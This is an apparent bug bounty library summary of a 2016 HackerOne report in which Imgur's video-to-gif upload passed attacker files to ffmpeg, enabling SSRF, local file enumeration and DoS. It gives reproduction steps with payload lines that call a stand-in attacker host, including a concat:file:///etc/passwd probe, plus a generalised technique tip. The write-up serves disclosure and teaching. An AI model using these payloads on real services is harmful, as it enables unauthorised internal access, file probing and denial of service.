# SSRF / Local file enumeration / DoS due to improper handling of certain file formats by ffmpeg

Imgur's vidgif upload fed attacker files to ffmpeg, whose m3u8/concat handling enabled SSRF, local file enumeration, and DoS.

- Payout: hidden
- Severity: high
- Program: Imgur
- Found by: aesteral
- Disclosed: 2016-03-14
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/115978
- Library page: https://bugbountylibrary.com/r/h1%3A115978
- Tags: area:web domain:web impact:dos impact:internal-access kind:bounty platform:hackerone sev:high tech:php technique:oob-exfil vuln:dos vuln:info-disclosure vuln:ssrf

**Target:** vidgif/upload video-to-gif conversion service (ffmpeg)
**Root cause:** Imgur validated the user-supplied URL's Content-Type but ffmpeg ignores it and parses the body as a playlist (m3u8), following URLs and concat: directives inside.
**Steps:**
1. Host a PHP file returning `Content-type: video/avi` with m3u8 body containing `#EXTINF:10.0,` then `http://attacker:12346/BASICSSRF`
2. POST to `https://imgur.com/vidgif/upload` with `source` and `url` set to the attacker file, `start=0.1`, `stop=1.0`
3. Observe ffmpeg on Imgur making `GET /BASICSSRF` to attacker listener with `User-Agent: Lavf/55.48.100`
4. For LFE, use `concat:file:///etc/passwd|http://attacker:12346/` so a callback occurs only if the local file exists
5. For DoS, point concat at a tarpitted m3u8 so ffmpeg holds an open socket/process waiting for video
**How found:** Noticed Imgur does HEAD then GET on user URL and runs ffmpeg; realized ffmpeg ignores Content-Type and parses playlist formats, so a fake video/avi body with m3u8 lines would be interpreted as a playlist.
**Exploitation:** Attacker-controlled file served as video/avi is fetched by Imgur, then ffmpeg parses it as m3u8 and issues HTTP GETs to arbitrary hosts (SSRF) or uses concat: with file:// to probe local files via callback oracle; tarpit targets cause resource exhaustion.
**Escalation:** concat: directive turns blind SSRF into a local-file existence oracle; tarpit redirect extends to DoS via held sockets/processes.
**Insight:** When a service validates a file by Content-Type but hands bytes to ffmpeg, supply a fake video MIME with m3u8/concat payloads; concat:file://|http:// gives a boolean oracle for local file existence.